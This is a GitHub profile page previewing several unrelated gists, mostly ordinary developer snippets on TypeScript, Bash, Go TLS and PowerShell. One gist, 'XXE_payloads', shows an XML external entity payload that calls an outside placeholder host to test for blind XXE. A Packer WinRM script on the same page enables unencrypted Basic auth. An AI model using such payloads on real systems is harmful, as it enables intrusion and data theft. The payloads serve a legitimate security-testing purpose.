Skip to content

Instantly share code, notes, and snippets.

View zsims's full-sized avatar
😕
Confused

Zac Sims zsims

😕
Confused
View GitHub Profile
@scottmcarthur
scottmcarthur / app.ts
Last active August 15, 2019 12:39
How to use AngularJS ng.resource.IResource with TypeScript.
/// <reference path="angular.d.ts" />
/// <reference path="angular-resource.d.ts" />
interface IEmployee extends ng.resource.IResource<IEmployee>
{
id: number;
firstName : string;
lastName : string;
}
interface IEmployeeResource extends ng.resource.IResourceClass<IEmployee>
@staaldraad
staaldraad / XXE_payloads
Last active June 15, 2024 16:32
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@enricorotundo
enricorotundo / global.js
Created November 18, 2014 02:44
Protractor issue #1511
'use strict';
(function () {
var Global = function () {
// GETTER elements: navbar
/**
* @return {[ElementFinder]} [Returns the regisration button located in the navbar]
@chantastic
chantastic / on-jsx.markdown
Last active May 30, 2024 13:11
JSX, a year in

Hi Nicholas,

I saw you tweet about JSX yesterday. It seemed like the discussion devolved pretty quickly but I wanted to share our experience over the last year. I understand your concerns. I've made similar remarks about JSX. When we started using it Planning Center, I led the charge to write React without it. I don't imagine I'd have much to say that you haven't considered but, if it's helpful, here's a pattern that changed my opinion:

The idea that "React is the V in MVC" is disingenuous. It's a good pitch but, for many of us, it feels like in invitation to repeat our history of coupled views. In practice, React is the V and the C. Dan Abramov describes the division as Smart and Dumb Components. At our office, we call them stateless and container components (view-controllers if we're Flux). The idea is pretty simple: components can't

@mitchellh
mitchellh / setup_winrm.txt
Created June 14, 2015 19:31
Packer 0.8 Windows Example on AWS
<powershell>
winrm quickconfig -q
winrm set winrm/config/winrs '@{MaxMemoryPerShellMB="300"}'
winrm set winrm/config '@{MaxTimeoutms="1800000"}'
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
winrm set winrm/config/service/auth '@{Basic="true"}'
netsh advfirewall firewall add rule name="WinRM 5985" protocol=TCP dir=in localport=5985 action=allow
netsh advfirewall firewall add rule name="WinRM 5986" protocol=TCP dir=in localport=5986 action=allow
@magnetikonline
magnetikonline / README.md
Last active June 22, 2024 13:35
Bash string manipulation cheatsheet.

Bash string manipulation cheatsheet

Assignment
Assign value to variable if variable is not already set, value is returned.

Combine with a : no-op to discard/ignore return value.
${variable="value"}
: ${variable="value"}
@apacha
apacha / ApplyVersionToAssemblies.ps1
Created July 1, 2016 18:49
Replace version-number in Visual Studio Team Service Build
##-----------------------------------------------------------------------
## <copyright file="ApplyVersionToAssemblies.ps1">(c) Microsoft Corporation. This source is subject to the Microsoft Permissive License. See http://www.microsoft.com/resources/sharedsource/licensingbasics/sharedsourcelicenses.mspx. All other rights reserved.</copyright>
##-----------------------------------------------------------------------
# Look for a 0.0.0.0 pattern in the build number.
# If found use it to version the assemblies.
#
# For example, if the 'Build number format' build process parameter
# $(BuildDefinitionName)_$(Year:yyyy).$(Month).$(DayOfMonth)$(Rev:.r)
# then your build numbers come out like this:
# "Build HelloWorld_2013.07.19.1"
@xjdrew
xjdrew / client.go
Last active June 20, 2024 07:39
golang tls client and server, require and verify certificate in double direction
package main
import (
"crypto/tls"
"crypto/x509"
"flag"
"io"
"io/ioutil"
"log"
"os"
@magnetikonline
magnetikonline / README.md
Last active June 3, 2024 01:18
macOS - Install Git from source.

Install Git on macOS from source

A quick n' dirty Bash script to install the following:

  • autoconf, needed by Git configure.
  • git - from source.

Tested successfully under both Intel and M1 (ARM64) based architectures.

Requires as a minimum Xcode CLI tools (no need for a full install). Can be installed via the following:

@lox
lox / README.md
Last active December 17, 2018 23:48
Proposal for top level plugins block in pipeline.yml

Top-level plugins block in pipeline.yml

Currently plugins need to be applied to each step, which ends up being verbose and it's easy for them to get out of synch as changes are made.

I'm proposing a top level plugin block that would allow plugins to be declared that would then apply to all steps.

This would aim to solve the current pain points:

  • Version declarations need to be repeated